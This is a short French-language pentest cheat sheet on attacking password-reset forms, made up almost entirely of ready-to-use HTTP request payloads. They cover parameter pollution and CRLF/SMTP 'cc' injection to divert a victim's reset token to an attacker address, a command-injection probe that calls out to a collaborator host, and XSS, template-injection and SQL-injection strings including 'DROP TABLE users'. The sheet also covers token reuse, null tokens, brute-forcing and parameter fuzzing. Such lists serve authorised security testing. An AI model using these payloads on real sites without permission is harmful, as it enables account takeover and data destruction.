Réinitialisation de mot de passe

Voici quelques pistes de tests à effectuer lorsque l’on rencontre une fonctionnalité de réinitialisation de mots de passe.

Types d’attaques

Interception du token

Ces différentes injections ont pour but de recevoir le token de réinitialisation par e-mail en s’ajoutant une deuxième adresse e-mail maîtrisée :

POST /resetPassword HTTP/1.1
... 

email=victime@email.com&email=hacker@email.com

Puis avec des séparateurs tels que %20, , ou | :

POST /resetPassword HTTP/1.1
... 

email=victime@email.com%20email=hacker@email.com
email=victime@email.com|email=hacker@email.com
email=victime@email.com,email=hacker@email.com

Ou encore avec une injection CRLF et SMTP %0a%0dcc: :

POST /resetPassword HTTP/1.1
... 

email=victime@email.com%0a%0dcc:email=hacker@email.com

Déclenchement d’erreurs

Essayer de réinitialiser le mot de passe en entrant une valeur non e-mail dans le paramètre e-mail :

POST /resetPassword HTTP/1.1
... 

email=hacker

Injections

Sur un malentendu, ça peut fonctionner :)

POST /resetPassword HTTP/1.1
... 

email=hacker@`whoami`.id.collaborator.net

Essayer les payloads suivants pour tester les XSS, SSTI, SQLI etc.

POST /resetPassword HTTP/1.1
... 

me+(<script>alert(0)</script>)@gmail.com
me(<script>alert(0)</script>)@gmail.com
me@gmail(<script>alert(0)</script>).com
"<script>alert(0)</script>"@gmail.com
"<%= 7 * 7 %>"@gmail.com
me+(${{7*7}})@gmail.com
"' OR 1=1 -- '"@gmail.com
"me); DROP TABLE users;--"@gmail.com
me@[id.collaborator.net]
%@gmail.com

Manipulation des tokens

Utiliser son propre token sur un autre e-mail

POST /resetPassword HTTP/1.1
... 

email=victime@email.com&token=$MY_TOKEN

Mettre des mauvaises valeurs en token (0000 ou null)

POST /resetPassword HTTP/1.1
... 

email=victime@email.com&token=00000000

Essayer de bruteforcer le token avec BurpSuite

POST /resetPassword HTTP/1.1
... 

email=victime@email.com&token=$BRUTEFORCE

Fuzzer les paramètres

Vérifier la présence d’autres paramètres potentiellement cachés dans la requête avec l’extension BurpSuite param-miner :

POST /resetPassword HTTP/1.1
... 

FUZZ